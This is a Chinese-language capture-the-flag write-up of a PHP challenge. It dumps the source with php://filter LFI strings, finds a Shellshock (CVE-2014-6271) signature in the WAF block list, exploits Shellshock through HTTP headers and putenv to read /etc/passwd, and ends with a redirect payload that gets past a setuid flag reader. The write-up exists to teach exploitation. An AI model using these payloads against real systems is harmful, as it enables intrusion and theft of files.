首先打开页面,发现导航栏中有几个选项。每个都点了一下之后,发现其用处。
Man:用来列出相关命令的文档index.php?func=man
Tar Tester:用来测试上传的tar文件index.php?func=untar1.tar测试
这里的tar -tvf并不会将文件解压到某个位置,所以没有什么可以利用的点。
Cmd Exec:用来执行命令并返回结果index.php?func=cmd例如ls

也能执行其它一些命令但是有限制,例如whoami就不会被运行。

这里猜测这个功能做了白名单进行限制,这里没有源码,所以也认为没有可以用的点。
List files:列文件目录index.php?func=ls例如当前目录

其中存在一个cat-flag.png很引人注目。接着又翻了翻其它的目录,其中/情况如下。

/目中存在一个flag,并且还有个flag-reader二进制程序,还启用了s权限,这样就能感觉的出来前面的cat-flag.png应该一个幌子。
功能就是上面这些。其实这个时候结合当前目录文件和功能的url已经可以做出一个推断:即调用功能的页面可能是以一个文件包含的形式。这样那么大概形式就应该是include($x.'.php');。
因而这里利用php://filter进行流式读取。
func=php://filter/read=convert.base64-encode/resource=index
func=php://filter/read=convert.base64-encode/resource=ls
func=php://filter/read=convert.base64-encode/resource=cmd
func=php://filter/read=convert.base64-encode/resource=man
func=php://filter/read=convert.base64-encode/resource=untar
这样就得到了5个功能页面的源码(包括index.php)。
其中man.php|ls.php|untar.php都没有可以利用的点,cmd.php和预期的那样是做了个白名单。其中cmd.php的白名单如下。

这个地方可以使用cat flag查看是不是有什么提示之类的,虽然很大可能性就是个幌子。

果然什么都没有。那么就看到index.php的源码。
...
function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];
function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}
waf($_SERVER);
waf($_GET);
waf($_POST);
function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}
foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}
$page = '';
if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}
if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}
function render_default() { ?>
其中$black_list禁用了/flag和\(\)\s*\{\s*:;\s*\};,第一个好理解,把第二个做个简化处理变成() { :; }。如果熟悉CVE 2014-6271的话,其实看到putenv就能反应过来是个破壳漏洞利用。加上这里的黑名单提示和之前的cmd中允许执行env命令也能够推断出这个漏洞。(关于破壳漏洞)
先读取个/etc/passwd测试。


这里也可以先读取flag-reader.c,看看是不是执行个命令就完事了。
flag-reader.c
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}
setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));
if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}
这里的alarm已经说明只能在一秒之内输出转变为输入才能去读取/flag这个文件。因而还是反弹shell回来处理为妙。

关于flag-reader.c的绕过,就只需要找个可以写文件的目录,写入输出再读作输入就能解决。
这里的/tmp是不可读的。

找到/var/tmp是可以写入文件的。
payload:
./flag-reader > /var/tmp/idlefire < /var/tmp/idlefire /flag
这样这道题就结束了。